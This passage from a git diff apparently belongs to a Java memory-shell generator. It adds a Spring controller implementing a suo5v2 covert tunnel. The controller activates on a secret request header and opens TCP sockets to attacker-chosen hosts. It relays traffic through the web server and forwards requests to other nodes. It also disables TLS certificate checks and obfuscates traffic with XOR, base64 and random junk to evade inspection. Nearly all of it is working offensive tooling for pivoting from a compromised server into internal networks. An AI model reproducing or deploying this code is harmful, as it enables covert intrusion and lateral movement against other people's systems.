* 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java new file mode 100644 index 00000000..0be42180 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -0,0 +1,1172 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.net.ssl.*; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2ControllerHandler() { + } + + public Suo5v2ControllerHandler(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2ControllerHandler(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2ControllerHandler().process(request, response); + } + } catch (Exception ignored) { + } + return null; + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2ControllerHandler(tunId, 1)).start(); + new Thread(new Suo5v2ControllerHandler(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String 